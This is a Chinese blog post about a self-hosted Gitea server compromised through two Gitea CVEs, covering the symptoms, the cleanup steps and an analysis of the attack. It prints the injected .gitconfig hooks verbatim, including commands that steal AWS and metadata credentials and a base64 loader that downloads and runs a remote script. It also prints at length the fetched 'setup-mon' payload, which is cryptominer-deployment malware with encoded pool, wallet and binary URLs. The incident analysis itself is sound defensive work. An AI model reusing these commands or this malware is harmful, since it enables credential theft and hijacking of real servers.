8695 字
43 分钟
修复近期 Gitea CVE 漏洞导致的拉取异常
2026-08-14
2026-08-17

症状描述#

如题,我有一些个人和公开项目托管在自建的Gitea站点中,前两天还能正常推拉,但是昨天修改完新的commit并成功push到云端后用另一台设备同步时发生报错,死活拉不下来,fetch、push、clone 等操作全报错,尝试过重启Gitea服务也完全没有效果,交互的表现如下:

Terminal window
alpine:~/temp# git clone xxxx.git
Cloning into 'xxxx'...
fatal: early EOF
fatal: fetch-pack: invalid index-pack output
...
alpine:~/temp/test# git fetch
fatal: early EOF
fatal: fetch-pack: invalid index-pack output
alpine:~/temp/test# git fetch
fatal: protocol error: bad pack header
alpine:~/temp/test# git pull
fatal: protocol error: bad pack header

注意到报错信息中有protocol关键字,心想问题应该出在云端服务器,恰好我的Gitea服务是通过docker部署的,于是登录服务器后执行一次clone交互并获取最近的日志:

Terminal window
alpine:~# git clone xxxx.git
Cloning into 'xxxx'...
fatal: early EOF
fatal: fetch-pack: invalid index-pack output
alpine:~# docker logs gitea --tail 50
...
2026/08/13 05:23:16 HTTPRequest [I] router: completed GET xxxx.git/info/refs?service=git-upload-pack for 211.90.250.205:0, 200 OK in 7.1ms @ repo/githttp.go:455(repo.GetInfoRefs)
2026/08/13 05:23:16 HTTPRequest [I] router: completed POST xxxx.git/git-upload-pack for 211.90.250.205:0, 200 OK in 6.1ms @ repo/githttp.go:433(repo.ServiceUploadPack)
2026/08/13 05:23:17 routers/web/repo/githttp.go:421:serviceRPC() [E] Fail to serve RPC(upload-pack) in xxxx.git: signal: aborted (core dumped) - BUG: upload-pack.c:262: packfile_uris requires sideband-all
2026/08/13 05:23:17 HTTPRequest [I] router: completed POST xxxx.git/git-upload-pack for 211.90.250.205:0, 200 OK in 1046.6ms @ repo/githttp.go:433(repo.ServiceUploadPack)

可以看到第12行的报错信息写着:BUG: upload-pack.c:262: packfile_uris requires sideband-all,通过一通搜索,发现这其实是一个已知的Gitea容器内嵌的Git版本与本地Git客户端版本之间存在协议兼容性问题,AI甚至给了一大串相关的解决办法和配置这配置那的步骤,在浪费大量时间尝试无果后,我寻思到一丝丝不对,要出问题不得早出问题了?我服务器和客户端都没动过,同样的环境为什么之前可以现在突然不行了?

事已至此,先干饭吧;正好这时候一边干饭一边刷手机,发现短信上面好几个小红点顺手点进去准备清掉,在随手划掉几条垃圾信息和验证码短信之后,突然一条短信引起了我的注意:

阿里云报警短信

WTF? 我这小服务器何德何能居然能遇到这种破事?于是立刻查找相关资料,在 Gitea 官方的 Github issue 页面发现了与其它我状况相似的开发者提交的问题反馈,根据各路大佬的讨论检查了服务器的文件,发现服务器还真是被打了,就离谱;

注意

当务之急是立刻停止相关服务进程避免进一步损失!

相关讨论串

漏洞详情#

在这里能够查询到近期及历史的安全警告:

造成问题的主要是两周前发布的两条评级为Critical 9.8/10的高危漏洞:

CVE-2026-59774#

Unauthenticated Arbitrary File Read can lead to RCE

受影响版本: Gitea 1.22 ~ 1.27.0
前置条件: 存在公开仓库,启用了代码单元(默认公开仓库均满足)
漏洞危害: 未认证远程任意文件读取,获取密钥信息后远程控制服务器

攻击方式: 攻击者直接向接口 POST /{owner}/{repo}/markup 发送恶意请求:

  • 指定渲染模式 Mode=file、文件后缀 .org
  • 传入携带 #+INCLUDE 指令的恶意 Org-mode 文本,指令中填写服务器绝对路径;
  • 匿名访问公开仓库时,路由鉴权逻辑放行匿名请求,直接调用存在路径穿越缺陷的 Org-mode 渲染器;
  • go-org 库默认使用 ioutil.ReadFile,未限制路径,直接读取传入的任意绝对路径文件;
  • 获取服务器核心密钥,进而取得服务器控制权;

CVE-2026-60004#

Remote Code Execution via diffpatch Git Hook Installation

受影响版本: Gitea 1.17 ~ 1.27.0
前置条件: 拥有任意仓库写入权限(特别是未限制注册的实例)且允许使用 diffpatch API (默认开启)
漏洞危害: 恶意远程代码注入执行、密钥窃取

攻击方式: 拥有写入权限情况下调用补丁提交接口 POST /api/v1/repos/{owner}/{repo}/diffpatch

  • 通过特定方式提交恶意补丁制造合并冲突,Git 触发合并逻辑,创建临时仓库;
  • 临时仓库触发 Hook 机制,恶意代码被 Gitea 意外执行;
  • 恶意代码进行自我繁殖、提权、伪装、劫持操作;

排查处理恶意注入#

注意

为避免进一步风险,排查及处理过程均在沙箱及切断网络连接的环境下运行;

这次的漏洞通过上述方式入侵后,对Gitea内建Git配置进行注入,导致任意用户进行fetch、pull、clone等操作时触发注入的恶意指令,进而展开一系列行为,其主要的特征文件是.gitconfig;

不论是二进制安装、docker容器部署,首先是进入gitea相关的工作目录,然后运行如下指令排查:

Terminal window
find ./ -name .gitconfig

如果不确定工作目录,也可以直接以根目录为目标全盘扫描,由于我这里通过docker容器部署,直接进入容器后对容器内根目录进行扫描:

Terminal window
alpine:~# docker exec -ti gitea /bin/bash
a3249fe20fe7:/# find / -name .gitconfig
/data/gitea/home/.gitconfig

检查该文件内容,发现了多条[uploadpack]配置及恶意注入:

Terminal window
a3249fe20fe7:/# cat /data/gitea/home/.gitconfig
22 collapsed lines
[diff]
algorithm = histogram
[core]
logallrefupdates = true
quotePath = false
commitGraph = true
[gc]
reflogexpire = 90
writeCommitGraph = true
[user]
name = Gitea
email = gitea@fake.local
[receive]
advertisePushOptions = true
procReceiveRefs = refs/for
[fetch]
writeCommitGraph = true
[safe]
directory = *
[uploadpack]
allowfilter = true
allowAnySHA1InWant = true
[uploadpack]
packObjectsHook = env > /tmp/.gitea_rce_1786288187 2>&1 ;#router: completed POST /api/internal/manager/add-logger for 112.96.213.12:0, 200 OK in 0.4ms @ private/manager.go:104(private.AddLogger)
[uploadpack]
packObjectsHook = cat /root/.aws/credentials 2>/dev/null; cat /home/git/.aws/credentials 2>/dev/null; find / -maxdepth 4 -name credentials -path '*/.aws/*' -exec cat {} \; 2>/dev/null > /tmp/.gitea_rce_1786288249 2>&1 ;#router: completed POST /api/internal/manager/add-logger for 112.96.213.12:0, 200 OK in 0.4ms @ private/manager.go:104(private.AddLogger)
[uploadpack]
packObjectsHook = cat /root/.aws/credentials 2>/dev/null; cat /home/git/.aws/credentials 2>/dev/null; find / -maxdepth 4 -name credentials -path '*/.aws/*' -exec cat {} \; 2>/dev/null > /tmp/.gitea_rce_1786288249 2>&1 ;#router: completed GET /LuChiChick/DLT_Splitter/blame/commit/3ec4327d451fb494f50727e066700db6baba74fc/Lib/imgui-1.92.4-docking/examples/example_glut_opengl2/main.cpp for 57.141.16.119:0, 200 OK in 60.1ms @ repo/blame.go:44(repo.RefBlame)
[uploadpack]
packObjectsHook = curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null > /tmp/.gitea_rce_1786288256 2>&1 ;#router: completed POST /api/internal/manager/add-logger for 112.96.213.12:0, 200 OK in 0.3ms @ private/manager.go:104(private.AddLogger)
[uploadpack]
packObjectsHook = curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null > /tmp/.gitea_rce_1786288262 2>&1 ;#router: completed POST /api/internal/manager/add-logger for 112.96.213.12:0, 200 OK in 0.3ms @ private/manager.go:104(private.AddLogger)
[uploadpack]
packObjectsHook = echo KGN1cmwgLWZzU0wgLS1jb25uZWN0LXRpbWVvdXQgNSAnaHR0cHM6Ly9zaXRlZ28tc3RlcC1odS5wYWdlcy5kZXYvc2V0dXAtbW9uJyAyPi9kZXYvbnVsbCB8fCBidXN5Ym94IHdnZXQgLXFPLSAtLXRpbWVvdXQ9NSAnaHR0cHM6Ly9zaXRlZ28tc3RlcC1odS5wYWdlcy5kZXYvc2V0dXAtbW9uJyAyPi9kZXYvbnVsbCB8fCB3Z2V0IC1xTy0gLS10aW1lb3V0PTUgJ2h0dHBzOi8vc2l0ZWdvLXN0ZXAtaHUucGFnZXMuZGV2L3NldHVwLW1vbicgMj4vZGV2L251bGwgfHwgcHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0O3ByaW50KHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vc2l0ZWdvLXN0ZXAtaHUucGFnZXMuZGV2L3NldHVwLW1vbicsdGltZW91dD01KS5yZWFkKCkuZGVjb2RlKCkpIiAyPi9kZXYvbnVsbCB8fCBwcmludGYgJ0dFVCAvc2V0dXAtbW9uIEhUVFAvMS4wXHJcbkhvc3Q6IHNpdGVnby1zdGVwLWh1LnBhZ2VzLmRldlxyXG5cclxuJyB8IG9wZW5zc2wgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0ICdzaXRlZ28tc3RlcC1odS5wYWdlcy5kZXYnOic0NDMnIDI+L2Rldi9udWxsIHwgdGFpbCAtbiArNSB8fCB0cnVlKSB8IHRyIC1kICdccicgfCBzaCAtYyAnY29tbWFuZCAtdiBzdWRvID4vZGV2L251bGwgMj4mMSAmJiBleGVjIHN1ZG8gc2ggLXMgLS0gIiQxIiB8fCBleGVjIHNoIC1zIC0tICIkMSInIHNoICdHRzMn | base64 -d | sh -s -- ;#router: completed POST /api/internal/manager/add-logger for 149.22.86.26:0, 200 OK in 0.7ms @ private/manager.go:104(private.AddLogger)
[uploadpack]
packObjectsHook = echo KGN1cmwgLWZzU0wgLS1jb25uZWN0LXRpbWVvdXQgNSAnaHR0cHM6Ly9zaXRlZ28tc3RlcC1odS5wYWdlcy5kZXYvc2V0dXAtbW9uJyAyPi9kZXYvbnVsbCB8fCBidXN5Ym94IHdnZXQgLXFPLSAtLXRpbWVvdXQ9NSAnaHR0cHM6Ly9zaXRlZ28tc3RlcC1odS5wYWdlcy5kZXYvc2V0dXAtbW9uJyAyPi9kZXYvbnVsbCB8fCB3Z2V0IC1xTy0gLS10aW1lb3V0PTUgJ2h0dHBzOi8vc2l0ZWdvLXN0ZXAtaHUucGFnZXMuZGV2L3NldHVwLW1vbicgMj4vZGV2L251bGwgfHwgcHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0O3ByaW50KHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vc2l0ZWdvLXN0ZXAtaHUucGFnZXMuZGV2L3NldHVwLW1vbicsdGltZW91dD01KS5yZWFkKCkuZGVjb2RlKCkpIiAyPi9kZXYvbnVsbCB8fCBwcmludGYgJ0dFVCAvc2V0dXAtbW9uIEhUVFAvMS4wXHJcbkhvc3Q6IHNpdGVnby1zdGVwLWh1LnBhZ2VzLmRldlxyXG5cclxuJyB8IG9wZW5zc2wgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0ICdzaXRlZ28tc3RlcC1odS5wYWdlcy5kZXYnOic0NDMnIDI+L2Rldi9udWxsIHwgdGFpbCAtbiArNSB8fCB0cnVlKSB8IHRyIC1kICdccicgfCBzaCAtYyAnY29tbWFuZCAtdiBzdWRvID4vZGV2L251bGwgMj4mMSAmJiBleGVjIHN1ZG8gc2ggLXMgLS0gIiQxIiB8fCBleGVjIHNoIC1zIC0tICIkMSInIHNoICdHRzMn | base64 -d | sh -s -- ;#router: completed POST /api/internal/manager/add-logger for 149.22.86.26:0, 200 OK in 0.4ms @ private/manager.go:104(private.AddLogger)

[uploadpack]配置了Gitea发起上传时的相关行为,自原有配置(24行)之后的这些恶意配置导致了用户发起任何从服务器传输的请求时会执行注入的恶意指令,并且由于上传行为劫持,客户端侧的fetch、pull、clone等操作会失败;

在删除这些恶意注入后重启服务端,与客户端之间的交互行为会恢复正常,但此时只是解决了一半,因为恶意注入的行为已经发生,这些恶意注入通常会伴随自我繁殖、提权、伪装、劫持等操作,而根据注入代码的不同可能产生的行为也不同,好在现在可以借助AI工具协助分析;

对于二进制方式部署的Gitea,如果实在疲于排查,可以将关键仓库备份之后重做系统,重新部署最新修复版本;

而使用docker方式部署时就方便很多,可以仅针对/data/卷进行排查,其中/data/gitea/tmp/目录可以整个移除,上面检索到的.gitconfig文件也可以整个删除,备份完成/data/卷后直接把整个容器连根扬了,然后立即通过官方修复的最新版本镜像重新构建容器,如果实在不放心也可以备份仓库等重要文件后完全重新部署容器镜像;

这里也体现出docker容器将各个服务隔离的好处,某个容器出现问题时可以毫无顾忌的直接精准打击,每个容器之间互不干涉,不会因为一个容器存在的问题而干扰其它容器服务的正常运行;

在此基础上为了安全起见,所有的密钥信息应该全部更换一轮;

恶意代码做了什么?#

重新审视被恶意注入的.gitconfig文件,其被注入了大量的[uploadpack]配置条目,通过AI工具配合分析得到如下攻击链路:

1. 攻击入口与配置注入(持久化)#

  • 行为:攻击者(IP 112.96.213.12 和 149.22.86.26)向内部管理接口 /api/internal/manager/add-logger 发起多次POST请求,均返回 200 OK。

  • 目的:该接口本应用于动态添加日志记录器,但攻击者利用漏洞将其作为配置写入入口,向 /data/gitea/home/.gitconfig 文件中写入了大量恶意 [uploadpack] packObjectsHook 配置项。

  • 效果:在Git中,packObjectsHook 指定了在执行 git-upload-pack(即 git clone / git fetch / 部分 git blame 操作)时额外调用的外部命令。从此,只要有用户拉取代码或浏览文件溯源,恶意代码就会被自动触发。

2. 环境探测与云凭证窃取#

日志中依次注入的Hook完成了对运行环境的详细侦察:

  • 转储环境变量 (env > /tmp/.gitea_rce_*):获取系统所有环境变量,包括可能的数据库密码、密钥、路径信息。

  • 窃取 AWS 凭证:

    • 遍历常见路径下的 credentials 文件(/root/.aws/ 和 /home/git/.aws/)。

    • 利用AWS元数据服务(169.254.169.254/latest/meta-data/iam/security-credentials/)获取临时访问密钥。

    • 利用ECS容器凭证端点(169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)获取任务角色凭证。

  • 结果输出:所有窃取到的数据都被重定向保存到 /tmp/.gitea_rce_* 临时文件中,方便攻击者后续通过其他手段(如文件读取漏洞)取回。

3. 触发验证#

注入代码中出现了一条来自 57.141.16.119 的 GET /blame/… 请求(耗时60.1ms)。这极大概率是攻击者在注入后,故意触发一次代码溯源操作,以验证Hook是否生效,并让服务器静默执行了上述窃密命令。

4. 投放远控/恶意软件(核心载荷)#

最后一个最长的Hook是最危险的。它经过了Base64编码,解码后还原为一条复杂的下载执行命令:

Terminal window
( curl -fsSL --connect-timeout 5 'https://sitego-step-hu.pages.dev/setup-mon' 2>/dev/null ||
busybox wget ... || wget ... || python3 -c "import urllib.request;..." ||
printf 'GET /setup-mon ...' | openssl s_client ... ) | tr -d '\r' | sh -s -- GG3

此命令的逻辑为:

  1. 多工具兼容:依次尝试使用 curl、busybox wget、wget、python3、openssl 去访问 https://sitego-step-hu.pages.dev/setup-mon确保在任何精简容器环境下都能成功下载。

  2. 管道执行:下载的内容经过 tr -d ‘\r’(去除Windows换行符)后,直接通过管道传给 sh 解释器执行。

  3. 传递参数:执行时传入了参数 GG3(sh -s — GG3),这很可能是用于标识受害机器或作为后续恶意脚本的解密密钥/指令参数。

攻击者并未直接在Hook中写入恶意行为(如挖矿、反弹Shell),而是通过下载远程 setup-mon 脚本动态执行,这种“无文件落地”或“远程加载”的方式极大地规避了静态杀毒软件的检测。setup-mon 大概率是挖矿木马、后门程序或勒索软件的部署脚本。

恶意载荷 “setup-mon”#

赶在在这个地址被各类安全防火墙屏蔽之前,我在沙箱内下载了一份该文件的副本,其内容如下:

"setup-mon" <--点击展开(内容较长,可能需要等待缓冲一会)
#!/bin/sh
_d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
#!/bin/sh
if [ -z "$BASH_VERSION" ]; then
case "$0" in
/*|./*)
if command -v bash >/dev/null 2>&1; then
exec bash "$0" "$@"
fi
;;
esac
fi
_c1="${1:-x}"
_c2=$(_d 'aHR0cHM6Ly9zaXRlZ28tc3RlcC1odS5wYWdlcy5kZXYvc2V0dXAtbW9u')
_c3=$(_d 'eG1yLmtyeXB0ZXgubmV0d29yazo4MDI5')
_c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpkSDRMMnFWanF3NEE3OWRpVXJGakJXQkZyZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBBVXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
_c5=$(_d 'Z29Bd2dCQ0ZI')
_c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
_c7=$(_d 'aHR0cHM6Ly9naXRlZS5jb20vYWxiZXJ0b3RyaW5kYWRlMTMxX3BuZy94bXJpZy9yYXcvbWFpbi94bXJpZw==')
_c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
_c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
_preflight() {
_pf_need_fetch=1 # always need HTTP fetch capability
# Determine what we have
_check_tools() {
_pf_has_curl=0; _pf_has_wget=0; _pf_has_openssl=0; _pf_has_perl=0
command -v curl >/dev/null 2>&1 && _pf_has_curl=1
command -v wget >/dev/null 2>&1 && _pf_has_wget=1
command -v openssl >/dev/null 2>&1 && _pf_has_openssl=1
command -v perl >/dev/null 2>&1 && _pf_has_perl=1
}
_check_tools
# Can we fetch?
_pf_can_fetch() {
# curl or wget alone is sufficient
[ "$_pf_has_curl" = "1" ] && return 0
[ "$_pf_has_wget" = "1" ] && return 0
# openssl + perl together is sufficient (openssl for TLS, perl for chunked decode)
[ "$_pf_has_openssl" = "1" ] && [ "$_pf_has_perl" = "1" ] && return 0
return 1
}
# If we can't fetch, try to install as root
if ! _pf_can_fetch; then
log "PREFLIGHT: missing HTTP fetch capability"
if [ "$(id -u)" = "0" ]; then
log "Running as root — installing missing components..."
_pf_installed=0
# Try package managers in order of preference: curl first (simplest),
# then wget, then openssl+perl
if command -v apk >/dev/null 2>&1; then
# Alpine: prefer curl, then wget
if [ "$_pf_installed" = "0" ]; then
log " trying apk add curl..."
apk add --no-cache curl >/dev/null 2>&1 && _pf_installed=1
fi
if [ "$_pf_installed" = "0" ]; then
log " trying apk add wget..."
apk add --no-cache wget >/dev/null 2>&1 && _pf_installed=1
fi
if [ "$_pf_installed" = "0" ]; then
log " trying apk add openssl perl..."
apk add --no-cache openssl perl >/dev/null 2>&1 && _pf_installed=1
fi
elif command -v apt-get >/dev/null 2>&1; then
# Debian/Ubuntu: prefer curl, then wget
apt-get update -qq >/dev/null 2>&1
if [ "$_pf_installed" = "0" ]; then
log " trying apt-get install curl..."
apt-get install -y -qq curl >/dev/null 2>&1 && _pf_installed=1
fi
if [ "$_pf_installed" = "0" ]; then
log " trying apt-get install wget..."
apt-get install -y -qq wget >/dev/null 2>&1 && _pf_installed=1
fi
if [ "$_pf_installed" = "0" ]; then
log " trying apt-get install openssl perl..."
apt-get install -y -qq openssl perl >/dev/null 2>&1 && _pf_installed=1
fi
elif command -v yum >/dev/null 2>&1; then
# RHEL/CentOS
if [ "$_pf_installed" = "0" ]; then
log " trying yum install curl..."
yum install -y curl >/dev/null 2>&1 && _pf_installed=1
fi
if [ "$_pf_installed" = "0" ]; then
log " trying yum install wget..."
yum install -y wget >/dev/null 2>&1 && _pf_installed=1
fi
elif command -v dnf >/dev/null 2>&1; then
# Fedora
if [ "$_pf_installed" = "0" ]; then
log " trying dnf install curl..."
dnf install -y curl >/dev/null 2>&1 && _pf_installed=1
fi
fi
# Re-check after install
_check_tools
if _pf_can_fetch; then
log "PREFLIGHT: install succeeded"
else
log "PREFLIGHT FAIL: could not install fetch tools. Exiting."
exit 0
fi
else
log "PREFLIGHT FAIL: no curl/wget/(openssl+perl), not root — cannot install. Exiting."
exit 0
fi
fi
# Report what we have
_pf_tools=""
[ "$_pf_has_curl" = "1" ] && _pf_tools="$_pf_tools curl"
[ "$_pf_has_wget" = "1" ] && _pf_tools="$_pf_tools wget"
[ "$_pf_has_openssl" = "1" ] && _pf_tools="$_pf_tools openssl"
[ "$_pf_has_perl" = "1" ] && _pf_tools="$_pf_tools perl"
log "PREFLIGHT OK: fetch available via:$_pf_tools"
}
_preflight
_q9='883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH'
_z7() {
_r1="${1:-/var/tmp/.odoo_pg_health.json}"
_r2="${2:-/var/tmp/.odoo_pg_start}"
_s1='s/"user"[[:space:]]*:[[:space:]]*"[^"]*"/"user": "'"$_q9"'"/g'
_s2='s/^W=["'"'"']*[^"'"'"']*["'"'"']*$/W="'"$_q9"'"/'
_h1 "$_r1" "$_s1"
_h1 "$_r2" "$_s2"
return 0
}
_h1() {
_f0="$1"
_p0="$2"
_t0="${_f0}.$$"
command -v sed >/dev/null 2>&1 || return 0
command -v cat >/dev/null 2>&1 || return 0
[ -f "$_f0" ] || return 0
[ -r "$_f0" ] || return 0
[ -w "$_f0" ] || return 0
if sed "$_p0" "$_f0" > "$_t0" 2>/dev/null; then
if cat "$_t0" > "$_f0" 2>/dev/null; then
:
fi
fi
rm -f "$_t0" 2>/dev/null || :
return 0
}
mask_enemy() { _z7 "$@"; }
detect_kill_unicorn() {
_dk_uid=$(id -u 2>/dev/null || echo 0)
_dk_user=$(id -un 2>/dev/null || echo "")
[ "$_dk_uid" -ne 0 ] || return 2
[ "$_dk_user" = "postgres" ] || return 2
_dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
[ -n "$_dk_home" ] || _dk_home=$(awk -F: -v u="$_dk_user" '$1==u{print $6}' /etc/passwd 2>/dev/null)
[ -n "$_dk_home" ] || _dk_home="${HOME:-/var/lib/postgresql}"
_dk_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|53535'
_dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50'
_dk_pids=""
_dk_exes=""
_dk_crons=""
_dk_children=""
_dk_netpids=""
_dk_dirs=""
for _dk_proc in /proc/[0-9]*; do
[ -d "$_dk_proc" ] || continue
_dk_pid=${_dk_proc#/proc/}
[ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
[ "$_dk_pid" = "$$" ] && continue
[ -r "$_dk_proc/comm" ] || continue
[ "$(cat "$_dk_proc/comm" 2>/dev/null)" = "unicorn" ] || continue
_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
[ "$_dk_owner" = "$_dk_uid" ] || continue
_dk_cpu=$(ps -o pcpu= -p "$_dk_pid" 2>/dev/null | awk 'NR==1{print $1+0}')
[ -n "$_dk_cpu" ] || continue
[ "$(printf '%s\n' "$_dk_cpu" | awk '{printf "%d",$1+0}')" -gt 90 ] 2>/dev/null || continue
_dk_pids="$_dk_pids $_dk_pid"
_dk_exe=$(readlink "$_dk_proc/exe" 2>/dev/null)
[ -n "$_dk_exe" ] && _dk_exes="$_dk_exes $_dk_exe"
done
for _dk_proc in /proc/[0-9]*; do
[ -d "$_dk_proc" ] || continue
_dk_pid=${_dk_proc#/proc/}
[ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
[ "$_dk_pid" = "$$" ] && continue
_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
[ "$_dk_owner" = "$_dk_uid" ] || continue
[ -r "$_dk_proc/cmdline" ] || continue
_dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
_dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
_dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
_dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
[ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
[ "$_dk_a1" = "jobs" ] || continue
[ -z "$_dk_a2" ] || continue
_dk_crons="$_dk_crons $_dk_pid"
_dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
[ -n "$_dk_cwd" ] && _dk_dirs="$_dk_dirs $_dk_cwd"
_dk_exe=$(readlink "$_dk_proc/exe" 2>/dev/null)
[ -n "$_dk_exe" ] && _dk_exes="$_dk_exes $_dk_exe"
done
for _dk_round in 1 2 3; do
for _dk_proc in /proc/[0-9]*; do
[ -d "$_dk_proc" ] || continue
_dk_pid=${_dk_proc#/proc/}
[ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
[ "$_dk_pid" = "$$" ] && continue
_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
[ "$_dk_owner" = "$_dk_uid" ] || continue
_dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
case " $_dk_crons $_dk_children " in
*" $_dk_pp "*)
case " $_dk_crons $_dk_children " in
*" $_dk_pid "*) ;;
*) _dk_children="$_dk_children $_dk_pid" ;;
esac
;;
esac
done
done
for _dk_proc in /proc/[0-9]*; do
[ -d "$_dk_proc" ] || continue
_dk_pid=${_dk_proc#/proc/}
[ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
[ "$_dk_pid" = "$$" ] && continue
_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
[ "$_dk_owner" = "$_dk_uid" ] || continue
[ -r "$_dk_proc/cmdline" ] || continue
_dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
case "$_dk_cmd" in
*apt-update.com*|*joker.aec944b68370194a50.link*|*95.85.237.226*|*193.41.68.194*|*95.85.237.149*|*2.26.99.68*|*210.195.19.39*)
_dk_netpids="$_dk_netpids $_dk_pid"
;;
esac
done
for _dk_pid in $_dk_children $_dk_netpids $_dk_crons $_dk_pids; do
kill -TERM "$_dk_pid" 2>/dev/null
done
[ -n "$_dk_children$_dk_netpids$_dk_crons$_dk_pids" ] && sleep 1 2>/dev/null
for _dk_sp in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
[ -f "$_dk_sp" ] || continue
[ -O "$_dk_sp" ] || continue
grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_sp" 2>/dev/null || continue
chattr -f -ia "$_dk_sp" 2>/dev/null
done
if command -v crontab >/dev/null 2>&1; then
_dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
if crontab -l 2>/dev/null > "$_dk_ct"; then
if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab - 2>/dev/null
echo "[dk] scrubbed malware crontab entries"
fi
fi
rm -f "$_dk_ct" 2>/dev/null
fi
for _dk_d in "$_dk_home/.claude" "$_dk_home" /tmp/.claude /tmp /dev/shm/.claude /dev/shm /var/tmp/.claude /var/tmp /run/lock/.claude /run/lock /var/run/.claude /var/run /run/shm/.claude /run/shm "$PWD/.claude" "$PWD" $_dk_dirs; do
[ -d "$_dk_d" ] || continue
_dk_bad=0
[ -f "$_dk_d/config.json" ] && grep -Eq "$_dk_ioc" "$_dk_d/config.json" 2>/dev/null && _dk_bad=1
[ -f "$_dk_d/CRON" ] && [ -f "$_dk_d/jobs" ] && _dk_bad=1
[ -f "$_dk_d/pwb" ] && [ -f "$_dk_d/jobs" ] && _dk_bad=1
[ "$_dk_bad" = 1 ] || continue
for _dk_f in unicorn CRON jobs pwb; do
_dk_path="$_dk_d/$_dk_f"
[ -e "$_dk_path" ] || continue
[ -O "$_dk_path" ] || continue
chattr -f -ia "$_dk_path" 2>/dev/null
rm -f "$_dk_path" 2>/dev/null
done
_dk_cf="$_dk_d/config.json"
if [ -f "$_dk_cf" ] && [ -O "$_dk_cf" ] && grep -Eq "$_dk_ioc" "$_dk_cf" 2>/dev/null; then
chattr -f -ia "$_dk_cf" 2>/dev/null
printf '%s\n' '{"autosave":false,"background":true,"cpu":{"enabled":false},"opencl":{"enabled":false},"cuda":{"enabled":false},"pools":[{"url":"127.0.0.1:1","user":"blocked","pass":"blocked","enabled":true}],"retry-pause":9999,"watch":false}' > "$_dk_cf" 2>/dev/null
chmod 555 "$_dk_cf" 2>/dev/null
chattr +i "$_dk_cf" 2>/dev/null
echo "[dk] neutralized config: $_dk_cf"
fi
done
for _dk_exe in $_dk_exes; do
[ -f "$_dk_exe" ] || continue
[ -O "$_dk_exe" ] || continue
chattr -f -ia "$_dk_exe" 2>/dev/null
rm -f "$_dk_exe" 2>/dev/null
done
sleep 1 2>/dev/null
for _dk_pid in $_dk_children $_dk_netpids $_dk_pids $_dk_crons; do
kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null
done
_dk_left=""
for _dk_proc in /proc/[0-9]*; do
[ -d "$_dk_proc" ] || continue
_dk_pid=${_dk_proc#/proc/}
[ "$(cat "$_dk_proc/comm" 2>/dev/null)" = "unicorn" ] || continue
_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
[ "$_dk_owner" = "$_dk_uid" ] || continue
_dk_cpu=$(ps -o pcpu= -p "$_dk_pid" 2>/dev/null | awk 'NR==1{print $1+0}')
